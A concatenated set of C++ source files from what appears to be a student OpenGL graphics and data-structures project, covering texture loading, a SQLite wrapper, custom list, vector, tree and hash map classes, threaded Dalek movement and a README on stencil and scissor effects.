bool m_LoadPendingTextureIntoGPU(std::map< std::string, CTextureFromBMP* >::iterator itTextureToLoad);
};
#endif
<file_sep>#include "cPersistSQLite.h"
#include "cPersistSQLite_Imp.h"
cPersistSQLite::cPersistSQLite()
{
#ifdef DEBUG
std::cout << "A cPersistSQLite() is created." << std::endl;
#endif
return;
}
cPersistSQLite::~cPersistSQLite()
{
return;
}
bool cPersistSQLite::OpenDB(std::string name)
{
return this->m_pInst->OpenDB(name);
}
bool cPersistSQLite::CloseDB(std::string name)
{
return this->m_pInst->CloseDB(name);
}
bool cPersistSQLite::Execute(std::string dbName, std::string SQLText)
{
return this->m_pInst->Execute( dbName, SQLText );
}
<file_sep>#ifndef _cList_HG_
#define _cList_HG_
#include "cPerson.h"
class cList
{
public:
cList();
~cList();
class cNode
{
public:
cNode();
~cNode() {};
sPerson theData; // Note "stack based" person data
cNode* pNextNode; // Singly linked list
cNode* pPriorNode; // Doubly linked list
};
//void InsertAt(int location, sPerson);
void InsertAtCurrentLocation(sPerson);
// This will delete the object and update pointers
void DeleteAtCurrentLocation(void);
void MoveToStart(void);
// Returns true if this worked
bool MoveToNext(void);
sPerson GetPersonAtCurrent(void);
unsigned int getSize(void);
// void MoveToPrevious(void);
private:
// This is the "head" or "root" of the list
cNode* m_pRootNode; // NULL
cNode* m_pCurrentNode; // NULL
};
#endif
<file_sep>#ifndef _cSceneManager_HG_
#define _cSceneManager_HG_
class cSceneManager
{
public:
cSceneManager();
~cSceneManager();
};
#endif
<file_sep>#ifndef _sScene_HG_
#define _sScene_HG_
// This represents all the things in a "scene".
// Objects are identified by ID or name
#include "cMeshSceneObject.h"
#include <vector>
#include <string>
class cScene
{
public:
cScene();
~cScene();
std::string name;
bool LoadSceneFromFile(std::string fileName);
bool SaveSceneToFile(std::string fileName);
std::vector<cMeshSceneObject> vecMeshObjects;
};
#endif
<file_sep># GraphicsEffects
Combining stencil + scissor buffer, cube map reflection, and blur
By: <NAME>
## Instructions
Build/Run in Release/x64
Use WASD to move the dalek.
Hold Alt+WASDQE to move the camera. You have to scroll first to adjust the camera's speed.
## Graphics Effects
* Off-screen textures: the scene is rendered from an angle to an off-screen texture, and combined with a second texture to make a screen with a "shattered glass" sort of look. If you move the Dalek around, the image on the screen changes.
* Full Screen Rendering: the scene is rendered to an FBO and then copied onto the quad FullScreenQuad.
* Full-Screen Effect: a blur effect is applied to the full-screen quad
* Scissor Buffer (combined with stencil buffer #2): the left quarter or so of the screen is under the effect of the scissor buffer, with flags set to prevent it from clearing the depth. As such, the objects with a red outline (all but the tv, dalek, and tv screen) that pass into that side will have their red outline completely covering the object instead of showing the proper colour.
* Stencil Buffer #1: using the room and door models for the stencil buffer, the dalek starts inside the room. If you move backwards, you'll exit the room through the door, and can then see the rest of the level through the doorway. Note that all of this is only visible on the "tv screen", from the dalek's perspective.
* Stencil Buffer #2 (combines with scissor buffer): by creating copies of various objects, then scaling the copies up and changing their colour, the second stencil buffer is used to give these objects a red outline. When passing into the area that has not been cropped by the scissor buffer, the "true" red outline is visible, covering the entire object.<file_sep>#ifndef _cPersistSQLite_HG_
#define _cPersistSQLite_HG_
#include <string>
class cPersistSQLite_Imp; // Forward declare
class cPersistSQLite
{
public:
cPersistSQLite();
~cPersistSQLite();
// Note: We don't do this in the ctor in case something goes wrong
bool OpenDB(std::string name);
bool CloseDB(std::string name);
bool Execute(std::string dbName, std::string SQLText);
cPersistSQLite_Imp* m_pInst;
};
#endif
<file_sep>#include <list>
#include "cPerson.h"
#include <iostream>
#include <iterator>
int main_STL_LIST()
{
sPerson michael;
michael.first = "Michael";
michael.last = "Feeney";
sPerson robin;
robin.first = "Robin";
robin.last = "Bobbin";
sPerson fraser;
fraser.first = "Fraser";
fraser.last = "Fareast";
sPerson jacob;
jacob.first = "Jacob";
jacob.last = "Sir";
std::list<sPerson> myList;
myList.insert( myList.begin(), michael );
myList.insert( myList.begin(), robin );
myList.insert( myList.begin(), fraser );
myList.insert( myList.begin(), jacob );
std::list<sPerson>::iterator itPer;
itPer = myList.begin();
itPer++;
itPer++;
std::cout << itPer->first << std::endl;
// Can you even do this??
myList.insert( myList.end(), michael );
myList.insert( myList.end(), robin );
myList.insert( myList.end(), fraser );
myList.insert( myList.end(), jacob );
return 0;
}
<file_sep>#include "cVector.h"
#include "cPerson.h"
#include <iostream>
int main_vector()
{
cVector myVec;
sPerson michael;
michael.first = "Michael";
michael.last = "Feeney";
sPerson robin;
robin.first = "Robin";
robin.last = "Bobbin";
sPerson fraser;
fraser.first = "Fraser";
fraser.last = "Fareast";
sPerson jacob;
jacob.first = "Jacob";
jacob.last = "Sir";
myVec.InsertPersonAtEnd( michael );
myVec.InsertPersonAtEnd( robin );
myVec.InsertPersonAtEnd( fraser );
myVec.InsertPersonAtEnd( jacob );
for ( unsigned int index = 0; index != myVec.GetSize(); index++ )
{
sPerson thePerson;
myVec.GetPersonAtIndex( index, thePerson );
std::cout << index << " "
<< thePerson.first << " "
<< thePerson.last << std::endl;
}
return 0;
}
<file_sep>#include "cDalek.h"
#include <process.h>
#include <Windows.h> // For CRITICAL_SECTION, CreateThread, ResumeThread, etc.
#include "cRandThreaded.h"
#include "cDalekManagerTripleBuffer.h"
//The actual win32 thread function
// EVERY dalek calls this function but on an different thread
DWORD WINAPI DalekBrainThread(void* pInitialData)
{
// Deref the this pointer to get at the specific Dalek
cDalek* pDalek = (cDalek*)pInitialData;
// Delay the start for about 250 ms
Sleep(250);
// Now endlessly run the loop until it's time to exit
if ( pDalek->bIsAlive )
{
pDalek->Update();
// Release control of the thread
Sleep(0);
}//pDalek->bIsAlive
return 0;
}
cDalek::cDalek()
{
this->bIsAlive = true;
this->m_dalekIndex = 0;
this->m_pDalekManager = NULL;
this->m_pLocalTimer = new CHRTimer();
this->m_pLocalTimer->Reset();
return;
}
void cDalek::CreateThreadAndStartUpdating( unsigned int dalekIndex,
cDalekManagerTripleBuffer* pDalekManager,
cRandThreaded* pRandThread )
{
this->m_dalekIndex = dalekIndex;
this->m_pDalekManager = pDalekManager;
this->m_pRandThread = pRandThread;
LPDWORD phThread = 0; // Clear to zero
DWORD hThread = 0;
HANDLE hThreadHandle = 0;
// Pass a pointer to this instance
// Recal that the "this" pointer is the pointer to
// this particular instance of the object
void* pThisDalek = (void*)(this);
hThreadHandle = CreateThread(NULL, // Default security
0, // Stack size - default - win32 = 1 Mbyte
&DalekBrainThread, // Pointer to the thread's function
pThisDalek, // The value (parameter) we pass to the thread
// This is a pointer to void... more on this evil thing later...
0, // CREATE_SUSPENDED or 0 for threads...
(DWORD*) &phThread); // pointer or ref to variable that will get loaded with threadID
return;
}
void cDalek::ResetTimerAndStart(void)
{
this->m_pLocalTimer->ResetAndStart();
return;
}
// Will pick a random direction and move for x seconds
void cDalek::PickNewDirection(void)
{
glm::vec3 newRelativeDestination;
newRelativeDestination.x = (float)this->m_pRandThread->getNextRandDouble();
newRelativeDestination.y = (float)this->m_pRandThread->getNextRandDouble();
newRelativeDestination.z = (float)this->m_pRandThread->getNextRandDouble();
// Pick a random time between 1 and 5 seconds
this->m_MoveCountDown = (float)this->m_pRandThread->getNextRandDouble() * 4.0f + 1.0f;
this->m_Velocity = newRelativeDestination / this->m_MoveCountDown;
return;
}
void cDalek::Update(void)
{
float deltaTime = this->m_pLocalTimer->GetElapsedSecondsAverage();
glm::vec3 deltaVel = this->m_Velocity * deltaTime;
this->m_position += deltaVel;
this->m_MoveCountDown -= deltaTime;
if ( this->m_MoveCountDown <= 0.0f )
{
this->PickNewDirection();
}
return;
}
<file_sep>#include <iostream>
unsigned long long numberOfCalls = 0;
const unsigned int SIZEOFCACHE = 1000;
// Note I'm clearing the array to all zeros
// (which you can only do with integers)
unsigned long long fibNumberCache[SIZEOFCACHE] = {0};
unsigned long long calcFib( unsigned int number )
{
numberOfCalls++;
if ( number == 0 )
{
return 0; // F(0) = 0
}
if ( number == 1 )
{
return 1; // F(1) = 1
}
// Have we already got a number?
if ( fibNumberCache[number] != 0 )
{
return fibNumberCache[number];
}
else
{
// Have to calculate it... sorry
unsigned long long fibNum = calcFib( number - 1 ) + calcFib( number - 2 );
// Save it for later
fibNumberCache[number] = fibNum;
return fibNum;
}
}
int main()
{
for ( int num = 0; num != 100; num++ )
{
numberOfCalls = 0;
std::cout
<< "Fib(" << num << ") = "
<< calcFib(num)
<< " took: " << numberOfCalls
<< std::endl;
}
return 0;
}
class cChange
{
public:
int pennies; int nickels;
int dimes; int quarters;
int loonies; int twonies;
int fives; int tens;
int twenties; int fifties;
int hundreds;
};
cChange calculateMinChange( int totalInCents, cChange &changeSoFar )
{
cChange toReturn;
if ( totalInCents < 5 )
{
toReturn.pennies = totalInCents;
}
else if ( totalInCents < 10 )
{
toReturn.nickels = 1;
toReturn.pennies = totalInCents - 5;
}
return toReturn;
}
<file_sep>#ifndef _cHashMap_HG_
#define _cHashMap_HG_
#include "cPerson.h"
#include <string>
#include "cList.h"
class cHashMap
{
public:
cHashMap();
// Inserts a person at this index
void Insert(std::string index, sPerson data);
// Reutrns true if there is a person at this index
bool GetPersonAt(std::string index, sPerson &data);
private:
unsigned int m_CurrentArraySize; // 100 default
void m_InitArray(void);
unsigned int m_calcHash(std::string index);
// Here's where our data is
// NOTE: This is an array of pointers, but since it's dynamic,
// it's *also* a pointer.
// Think of it this way:
// sPerson* *m_pPeople;
sPerson** m_pPeople;
// cList** m_pListOfPeople;
// sPerson myArray[100];
// sPerson* myArray = new sPerson[100];
//
// (sPerson*)* myArray = new (sPerson*)[100]
};
#endif
<file_sep>#include "cVector.h"
cVector::cVector()
{
// Set up init data
//static const unsigned int INIT_CAPACITY = 3;
this->m_curCapacity = cVector::INIT_CAPACITY;
// Allocate the array
this->m_pMyData = new sPerson[this->m_curCapacity];
this->m_nextIndex = 0; // Initial insert index location
return;
}
//static
unsigned int cVector::INIT_CAPACITY = 3;
cVector::~cVector()
{
delete [] this->m_pMyData;
return;
}
unsigned int cVector::GetSize(void)
{
return this->m_nextIndex;
}
void cVector::InsertPersonAtEnd(sPerson person)
{
this->m_pMyData[this->m_nextIndex] = person;
// Move to the "next" location
this->m_nextIndex++; // 3
// Check to see if I've exceeded the capacity of the array
if ( this->m_nextIndex >= this->m_curCapacity )
{
// Calculate new size
this->m_curCapacity *= 2; // 6 3
// Make a new array
sPerson* pNewArray = new sPerson[this->m_curCapacity]; // 6 in size
// Copy the old data into the new one
for ( unsigned int index = 0; index < this->m_nextIndex; index++ )
{
pNewArray[index] = this->m_pMyData[index];
}
// Delete the old one
delete [] this->m_pMyData; // Bye, bye
// Point the array to the new location
this->m_pMyData = pNewArray;
}
return;
}
void cVector::InsertPersonAtIndex(unsigned int index, sPerson person)
{
// TODO:
return;
}
bool cVector::GetPersonAtIndex(unsigned int index, sPerson &thePerson)
{
thePerson = this->m_pMyData[index];
return true;
}
<file_sep>#ifndef _cBST_HG_
#define _cBST_HG_
#include "cPerson.h"
#include <string>
// "BST" stands for "Binary Search Tree"
class cBST
{
public:
cBST();
class cNode
{
public:
cNode();
cNode* pLessThan;
cNode* pGreaterThan;
std::string indexValue;
sPerson theData;
};
cNode* pRootNode;
bool InsertPerson( std::string index, sPerson thePerson );
bool DeletePerson( std::string index );
bool FindPerson( std::string index, sPerson &thePerson );
private:
// Check this node, and see if we can insert here
bool m_InsertAtThisNode( std::string index, sPerson thePerson,
cNode* pNodeToTest );
};
#endif
<file_sep>#include "cBasicTextureManager.h"
#include <sstream>
void cBasicTextureManager::SetBasePath(std::string basepath)
{
this->m_basePath = basepath;
return;
}
bool cBasicTextureManager::Create2DTextureFromBMPFile_ASYNC( std::string textureFileName, bool bGenerateMIPMap )
{
std::string fileToLoadFullPath = this->m_basePath + "/" + textureFileName;
// Assume that the texture will be loaded...
CTextureFromBMP* pTempTexture = new CTextureFromBMP();
pTempTexture->LoadBMP2_Async( fileToLoadFullPath );
this->m_map_TexNameToTexture[ textureFileName ] = pTempTexture;
// theTextureLoadStatus.pTexture->CreateNewTextureFromBMPFile_LoadFromDisk( fileToLoadFullPath );
// // Load it into the GPU
// theTextureLoadStatus.pTexture->CreateNewTextureFromBMPFile_CopyToGPU( bGenerateMIPMap );
//
// theTextureLoadStatus.textureLoadStatus = cBasicTextureManager::IS_IN_GPU;
return true;
}
bool cBasicTextureManager::Create2DTextureFromBMPFile( std::string textureFileName, bool bGenerateMIPMap )
{
std::string fileToLoadFullPath = this->m_basePath + "/" + textureFileName;
// Assume that the texture will be loaded...
CTextureFromBMP* pTempTexture = new CTextureFromBMP();
if ( ! pTempTexture->CreateNewTextureFromBMPFile2( textureFileName, fileToLoadFullPath, /*textureUnit,*/ bGenerateMIPMap ) )
{
this->m_appendErrorString( "Can't load " );
this->m_appendErrorString( fileToLoadFullPath );
this->m_appendErrorString( "\n" );
return false;
}
pTempTexture->CreateNewTextureFromBMPFile_LoadFromDisk( fileToLoadFullPath );
// Load it into the GPU
pTempTexture->CreateNewTextureFromBMPFile_CopyToGPU( bGenerateMIPMap );
// Texture is loaded OK
//this->m_nextTextureUnitOffset++;
this->m_map_TexNameToTexture[ textureFileName ] = pTempTexture;
//this->m_map_TexNameToTexture[ textureFileName ] = theTextureLoadStatus;
return true;
}
void cBasicTextureManager::m_appendErrorString( std::string nextErrorText )
{
std::stringstream ss;
ss << this->m_lastError << nextErrorText;
this->m_lastError = ss.str();
return;
}
GLuint cBasicTextureManager::getTextureIDFromName( std::string textureFileName )
{
std::map< std::string, CTextureFromBMP* >::iterator itTexture
= this->m_map_TexNameToTexture.find( textureFileName );
// Found it?
if ( itTexture == this->m_map_TexNameToTexture.end() )
{
return 0;
}
// Has the texture actually been loaded into the GPU
if ( itTexture->second->textureLoadStatus == CTextureFromBMP::IS_READY_TO_BE_COPIED_TO_GPU )
{
// Call the copy the data over call
itTexture->second->CreateNewTextureFromBMPFile_CopyToGPU( true );
// When this returns the texture has been loaded into the GPU, so we can return the ID
}
// Has the texture actually been loaded into the GPU
if ( itTexture->second->textureLoadStatus != CTextureFromBMP::IS_IN_GPU )
{
return 0;
}
// Reutrn texture number (from OpenGL genTexture)
//return itTexture->second->getTextureNumber();
return itTexture->second->getTextureNumber();
}
void cBasicTextureManager::m_appendErrorStringLine( std::string nextErrorTextLine )
{
std::stringstream ss;
ss << this->m_lastError << std::endl;
ss << nextErrorTextLine << std::endl;
this->m_lastError = ss.str();
return;
}
// Picks a random texture from the textures loaded
std::string cBasicTextureManager::PickRandomTexture(void)
{
if ( this->m_map_TexNameToTexture.empty() )
{
// There are no textures loaded, yet.
return "";
}
int textureIndexRand = rand() % (this->m_map_TexNameToTexture.size() + 1);
if ( textureIndexRand >= this->m_map_TexNameToTexture.size() )
{
textureIndexRand = 0;
}
std::map< std::string, CTextureFromBMP* >::iterator itTex = this->m_map_TexNameToTexture.begin();
for ( unsigned int count = 0; count != textureIndexRand; count++, itTex++ )
{}
return itTex->second->getTextureName();
}
bool cBasicTextureManager::CreateCubeTextureFromBMPFiles(
std::string cubeMapName,
std::string posX_fileName, std::string negX_fileName,
std::string posY_fileName, std::string negY_fileName,
std::string posZ_fileName, std::string negZ_fileName,
bool bIsSeamless, std::string &errorString )
{
std::string posX_fileName_FullPath = this->m_basePath + "/" + posX_fileName;
std::string negX_fileName_FullPath = this->m_basePath + "/" + negX_fileName;
std::string posY_fileName_FullPath = this->m_basePath + "/" + posY_fileName;
std::string negY_fileName_FullPath = this->m_basePath + "/" + negY_fileName;
std::string posZ_fileName_FullPath = this->m_basePath + "/" + posZ_fileName;
std::string negZ_fileName_FullPath = this->m_basePath + "/" + negZ_fileName;
GLenum errorEnum;
std::string errorDetails;
CTextureFromBMP* pTempTexture = new CTextureFromBMP();
if ( ! pTempTexture->CreateNewCubeTextureFromBMPFiles(
cubeMapName,
posX_fileName_FullPath, negX_fileName_FullPath,
posY_fileName_FullPath, negY_fileName_FullPath,
posZ_fileName_FullPath, negZ_fileName_FullPath,
bIsSeamless, errorEnum, errorString, errorDetails ) )
{
this->m_appendErrorString( "Can't load " );
this->m_appendErrorString( cubeMapName );
this->m_appendErrorString( " because:\n" );
this->m_appendErrorString( errorString );
this->m_appendErrorString( "\n" );
this->m_appendErrorString( errorDetails );
errorString += ("\n" + errorDetails);
return false;
}//if ( ! pTempTexture->CreateNewCubeTextureFromBMPFiles()
// Texture is loaded OK
//this->m_nextTextureUnitOffset++;
this->m_map_TexNameToTexture[ cubeMapName ] = pTempTexture;
return true;
}
// The async loading part
bool cBasicTextureManager::CheckForPendingTextureGPULoads(void)
{
std::map< std::string, CTextureFromBMP* >::iterator itTexture;
for ( itTexture = this->m_map_TexNameToTexture.begin();
itTexture != this->m_map_TexNameToTexture.end();
itTexture++ )
{
// Is this one ready to load?
if ( itTexture->second->textureLoadStatus == CTextureFromBMP::IS_READY_TO_BE_COPIED_TO_GPU )
{
// Copy it into the GPU
this->m_LoadPendingTextureIntoGPU( itTexture );
// Then exit, so I only load ONE texture at a time
}
}
// Only gets here if there is nothing to do...
return true;
}
// This does the actual loading of the textures
bool cBasicTextureManager::m_LoadPendingTextureIntoGPU(
std::map< std::string,
CTextureFromBMP* >::iterator itTextureToLoad )
{
itTextureToLoad->second->CreateNewTextureFromBMPFile_CopyToGPU(true);
return true;
}
<file_sep>#include "cPersistSQLite_Imp.h"
cPersistSQLite_Imp::cPersistSQLite_Imp()
{
return;
}
cPersistSQLite_Imp::~cPersistSQLite_Imp()
{
return;
}
bool cPersistSQLite_Imp::OpenDB(std::string name)
{
// Already openned?
// (assume if it's in the map, it's open)
// std::map<std::string /*DB Name*/, sqlite3*>::iterator itDB
// = this->m_map_pDBsByName.find(name);
std::map<std::string /*DB Name*/, void*>::iterator itDB = this->m_map_pDBsByName.find(name);
if ( itDB != this->m_map_pDBsByName.end() )
{
// Already openned.
return true;
}
// Open it
sqlite3* pDB = NULL;
int result = sqlite3_open( name.c_str(), &pDB );
if ( result != SQLITE_OK )
{
// Didn't work
sqlite3_close(pDB);
return false;
}
// Save the database into the map
this->m_map_pDBsByName[name] = pDB;
return true;
}
bool cPersistSQLite_Imp::CloseDB(std::string name)
{
// std::map<std::string /*DB Name*/, sqlite3*>::iterator itDB = this->m_map_pDBsByName.find(name);
std::map<std::string /*DB Name*/, void*>::iterator itDB = this->m_map_pDBsByName.find(name);
if ( itDB == this->m_map_pDBsByName.end() )
{
// Doesn't exist
return false;
}
sqlite3_close( (sqlite3*)itDB->second);
this->m_map_pDBsByName.erase(name);
return true;
}
// Returns NULL if it didn't find it
sqlite3* cPersistSQLite_Imp::m_getDBByName(std::string name)
{
// std::map<std::string /*DB Name*/, sqlite3*>::iterator itDB = this->m_map_pDBsByName.find(name);
std::map<std::string /*DB Name*/, void*>::iterator itDB = this->m_map_pDBsByName.find(name);
if ( itDB == this->m_map_pDBsByName.end() )
{
// Doesn't exist
return NULL;
}
return (sqlite3*)itDB->second;
}
std::string cPersistSQLite_Imp::translateSQLiteErrorCode(int errorCode)
{
switch ( errorCode )
{
case SQLITE_OK:
return "";
};
return "UNKNOWN";
}
//static
int cPersistSQLite_Imp::callback(void *NotUsed, int argc, char **argv, char **azColName)
{
int i;
for(i=0; i<argc; i++)
{
printf("%s = %s\n", azColName[i], argv[i] ? argv[i] : "NULL");
}
printf("\n");
return 0;
}
bool cPersistSQLite_Imp::Execute(std::string dbName, std::string SQLText)
{
sqlite3* pTheDB = this->m_getDBByName(dbName);
if ( pTheDB == NULL )
{
return false;
}
//TODO: Add interlock for callback
// The DB is valid
char *zErrMsg = 0;
int retCode = sqlite3_exec( pTheDB, SQLText.c_str(), cPersistSQLite_Imp::callback, 0, &zErrMsg );
if ( retCode != SQLITE_OK )
{
// Something went wrong...
// TODO: add some kind of error tranlation here (like "getLastError")
return false;
}
// Good to go
return true;
}<file_sep>#include "cBST.h"
cBST::cBST()
{
this->pRootNode = NULL;
return;
}
cBST::cNode::cNode()
{
this->pGreaterThan = NULL;
this->pLessThan = NULL;
return;
}
bool cBST::InsertPerson( std::string index, sPerson thePerson )
{
// Is there anything there at all?
if ( this->pRootNode == NULL ) // 1st insert
{
// make a copy of the person and store
cNode* pNewNode = new cNode();
// Copy the passed data into this node
pNewNode->theData = thePerson;
pNewNode->indexValue = index;
// Store as the 1st node
this->pRootNode = pNewNode;
return true;
}
else
{
// Find a location to insert this node...
// Hold on, wait for recursion...
return this->m_InsertAtThisNode( index, thePerson,
this->pRootNode );
}
return false;
}
bool cBST::m_InsertAtThisNode( std::string index, sPerson thePerson,
cNode* pNodeToTest )
{
// See if I should go down the left or right side of this node.
// Is it "greater" or "less than" the current node value?
if ( pNodeToTest->indexValue == index )
{
// The node values are the same, so overwrite
pNodeToTest->theData = thePerson;
pNodeToTest->indexValue = index;
return true;
}
else if ( pNodeToTest->indexValue < index ) //"michael" > "robin"
{
// Check the "greater than" side
// Is the node to the right NULL (i.e. nothing there, yet)
if ( pNodeToTest->pGreaterThan == NULL )
{
cNode* pNewNode = new cNode();
pNewNode->theData = thePerson;
pNewNode->indexValue = index;
pNodeToTest->pGreaterThan = pNewNode;
return true;
}
else
{ // There's something there, already, so call again
return this->m_InsertAtThisNode( index, thePerson,
pNodeToTest->pGreaterThan );
}
}
else //( pNodeToTest->theData.last > thePerson.last )
{ // check for the "greater than" side
if ( pNodeToTest->pLessThan == NULL )
{
cNode* pNewNode = new cNode();
pNewNode->theData = thePerson;
pNewNode->indexValue = index;
pNodeToTest->pLessThan = pNewNode;
return true;
}
else
{ // There's something there, already, so call again
return this->m_InsertAtThisNode( index, thePerson,
pNodeToTest->pLessThan );
}
}
// All is lost, forever lost...
return false;
}
<file_sep>#include "cBST.h"
#include <iostream>
int main_BST()
{
sPerson michael;
michael.first = "Michael";
michael.last = "Feeney";
sPerson robin;
robin.first = "Robin";
robin.last = "Bobbin";
sPerson fraser;
fraser.first = "Fraser";
fraser.last = "Fareast";
sPerson jacob;
jacob.first = "Jacob";
jacob.last = "Sir";
cBST myBST;
myBST.InsertPerson( "Michael", michael );
myBST.InsertPerson( "Robin", robin );
myBST.InsertPerson( "Fraser", fraser );
myBST.InsertPerson( "Jacob", jacob );
return 0;
}
<file_sep>#ifndef _cPersistSQLite_Imp_HG_
#define _cPersistSQLite_Imp_HG_
#include "sqlite3.h"
#include <iostream>
#include <string>
#include <map>
class cPersistSQLite_Imp
{
public:
cPersistSQLite_Imp();
~cPersistSQLite_Imp();
bool OpenDB(std::string name);
bool CloseDB(std::string name);
bool Execute(std::string dbName, std::string SQLText);
// std::map<std::string /*DB Name*/, sqlite3*> m_map_pDBsByName;
std::map<std::string /*DB Name*/, void*> m_map_pDBsByName;
// Returns NULL if it didn't find it
sqlite3* m_getDBByName(std::string);
std::string translateSQLiteErrorCode(int errorCode);
// This is what's called from SQLite...
static int callback(void *NotUsed, int argc, char **argv, char **azColName);
};
#endif<file_sep>#include "DIY_Hash_Map.h"
cHashMap::cHashMap()
{
// Default size is 100 just because...
this->m_CurrentArraySize = 100;
this->m_InitArray();
return;
}
void cHashMap::m_InitArray()
{
// sPerson* m_pPeople;
// Note that this is an array of POINTERS, so note the
// slightly odd syntax
// sPerson** m_pPeople;
// (sPerson*)* m_pPeople;
this->m_pPeople = new sPerson*[this->m_CurrentArraySize];
// Clear array to zero
for ( int index = 0; index != this->m_CurrentArraySize; index++ )
{
// Set all these pointers to NULL (0)
this->m_pPeople[index] = NULL;
}
return;
}
unsigned int cHashMap::m_calcHash(std::string indexString)
{
// Create a "hash value" to determine where, in the array
// of items we want to put this unique value....
// Add up all letters in the name, then get mod of how
// bit my array is...
unsigned int indexHashValue = 0;
for ( unsigned int charIndex = 0;
charIndex != indexString.size(); charIndex++ )
{
char curChar = indexString[charIndex];
indexHashValue += (unsigned int)curChar;
}
indexHashValue = indexHashValue % this->m_CurrentArraySize;
return indexHashValue;
}
void cHashMap::Insert(std::string index, sPerson data)
{
unsigned int indexHash = this->m_calcHash(index);
// Create a copy of this thing to place in the array of information:
sPerson* pNewPerson = new sPerson;
// Copy the information
(*pNewPerson) = data;
this->m_pPeople[indexHash] = pNewPerson;
return;
}
// Reutrns true if there is a person at this index
bool cHashMap::GetPersonAt(std::string index, sPerson &data)
{
//DOTO: This code
unsigned int indexHash = this->m_calcHash(index);
if ( this->m_pPeople == NULL )
{
// there's nothing there
return false;
}
data = *(this->m_pPeople[indexHash]);
return true;
}
<file_sep>#include "cList.h"
#include "cPerson.h"
#include <iostream>
int main_LIST()
{
sPerson michael;
michael.first = "Michael";
michael.last = "Feeney";
sPerson robin;
robin.first = "Robin";
robin.last = "Bobbin";
sPerson fraser;
fraser.first = "Fraser";
fraser.last = "Fareast";
sPerson jacob;
jacob.first = "Jacob";
jacob.last = "Sir";
cList myList;
// myList.MoveToStart();
myList.InsertAtCurrentLocation( michael );
myList.InsertAtCurrentLocation( robin );
myList.InsertAtCurrentLocation( fraser );
myList.InsertAtCurrentLocation( jacob );
//myList.MoveToStart();
//for ( int count = 0; count < 4; count++ )
//{
// sPerson curPer = myList.GetPersonAtCurrent();
// std::cout << curPer.first << std::endl;
// myList.MoveToNext();
//}
myList.MoveToStart();
do
{
sPerson curPer = myList.GetPersonAtCurrent();
std::cout << curPer.first << std::endl;
} while (myList.MoveToNext());
myList.MoveToStart();
myList.MoveToNext();
myList.DeleteAtCurrentLocation();
// Michael
// Robin
// Fraser
// Jacob
std::cout << "----" << std::endl;
myList.MoveToStart();
do
{
sPerson curPer = myList.GetPersonAtCurrent();
std::cout << curPer.first << std::endl;
} while (myList.MoveToNext());
return 0;
}<file_sep>//DrawOjbect_calls.cpp
#include "globalOpenGLStuff.h" // For GLFW and glad (OpenGL calls)
#include "globalStuff.h"
#include <glm/glm.hpp>
#include <glm/vec3.hpp> // glm::vec3
#include <glm/vec4.hpp> // glm::vec4
#include <glm/mat4x4.hpp> // glm::mat4
#include <glm/gtc/matrix_transform.hpp> // glm::translate, glm::rotate, glm::scale, glm::perspective
#include <glm/gtc/type_ptr.hpp> // glm::value_ptr
#include "cShaderManager.h"
#include "cMeshSceneObject.h"
#include "cAnimationState.h"
#include <iostream>
std::map<std::string /*name*/, cParticleEmitter* > g_map_pParticleEmitters;
bool HACK_bTextureUniformLocationsLoaded = false;
GLint tex00_UniLoc = -1;
GLint tex01_UniLoc = -1;
GLint tex02_UniLoc = -1;
GLint tex03_UniLoc = -1;
GLint tex04_UniLoc = -1;
GLint tex05_UniLoc = -1;
GLint tex06_UniLoc = -1;
GLint tex07_UniLoc = -1;
GLint texBW_0_UniLoc = -1;
GLint texBW_1_UniLoc = -1;
// Texture sampler for off screen texture
GLint texPass1OutputTexture_UniLoc = -1;
//Texture sampler for reticle texture
GLint texPass1ReticleTexture_UniLoc = -1;
// This is to change the full screen FBO objects when the window changes size
// See: http://www.glfw.org/docs/latest/window_guide.html#window_size
void window_size_callback(GLFWwindow* window, int width, int height)
{
// If no FBO has been made, return
//if (!::g_pFBOMain)
//{
// return;
//}
if ((::g_pFBOMain->width != width) || (::g_pFBOMain->height != height))
{
// Window size has changed, so resize the offscreen frame buffer object
std::string error;
if (!::g_pFBOMain->reset(width, height, error))
{
std::cout << "In window_size_callback(), the g_FBO_Pass1_G_Buffer.reset() call returned an error:" << std::endl;
std::cout << "\t" << error << std::endl;
}
else
{
std::cout << "Offscreen g_FBO_Pass1_G_Buffer now: " << width << " x " << height << std::endl;
}
}//if ( ( ::g_FBO_Pass1_G_Buffer.width....
if ((::g_pFBOSecond->width != width) || (::g_pFBOSecond->height != height))
{
// Window size has changed, so resize the offscreen frame buffer object
std::string error;
if (!::g_pFBOSecond->reset(width, height, error))
{
std::cout << "In window_size_callback(), the g_FBO_Pass1_G_Buffer.reset() call returned an error:" << std::endl;
std::cout << "\t" << error << std::endl;
}
else
{
std::cout << "Offscreen g_FBO_Pass1_G_Buffer now: " << width << " x " << height << std::endl;
}
}//if ( ( ::g_FBO_Pass1_G_Buffer.width....
return;
}
// Will bind the textures in use for this object on this draw call
void BindTextures( cMeshSceneObject* pCurrentMesh, GLuint shaderProgramID, cFBO* pFBOObj )
{
// This is pretty much a hack, so we should likely pass the shader object
// (pointer) to this function, and to the DrawObject call, too.
// (Another option would be to pass the shader MANAGER instead, so
// that the functions can look up various things in the shader)
//
// For now, I'm going to get the uniform location here
// (to make it clear (maybe?) that we'll NEED those shader uniform locations)
// So this is only called once...
if ( ! HACK_bTextureUniformLocationsLoaded )
{
tex00_UniLoc = glGetUniformLocation( shaderProgramID , "texture00" ); // uniform sampler2D texture00;
tex01_UniLoc = glGetUniformLocation( shaderProgramID , "texture01" ); // uniform sampler2D texture01;
tex02_UniLoc = glGetUniformLocation( shaderProgramID , "texture02" ); // uniform sampler2D texture02;
tex03_UniLoc = glGetUniformLocation( shaderProgramID , "texture03" ); // uniform sampler2D texture03;
tex04_UniLoc = glGetUniformLocation( shaderProgramID , "texture04" ); // uniform sampler2D texture04;
tex05_UniLoc = glGetUniformLocation( shaderProgramID , "texture05" ); // uniform sampler2D texture05;
tex06_UniLoc = glGetUniformLocation( shaderProgramID , "texture06" ); // uniform sampler2D texture06;
tex07_UniLoc = glGetUniformLocation( shaderProgramID , "texture07" ); // uniform sampler2D texture07;
texBW_0_UniLoc = glGetUniformLocation( shaderProgramID , "texBlendWeights[0]" ); // uniform vec4 texBlendWeights[2];
texBW_1_UniLoc = glGetUniformLocation( shaderProgramID , "texBlendWeights[1]" ); // uniform vec4 texBlendWeights[2];
HACK_bTextureUniformLocationsLoaded = true;
texPass1OutputTexture_UniLoc = glGetUniformLocation( shaderProgramID, "texPass1OutputTexture" );
texPass1ReticleTexture_UniLoc = glGetUniformLocation( shaderProgramID, "texPass1ReticleTexture" );
}//if(!HACK_bTextureUniformLocationsLoaded )
// ********************************************************************
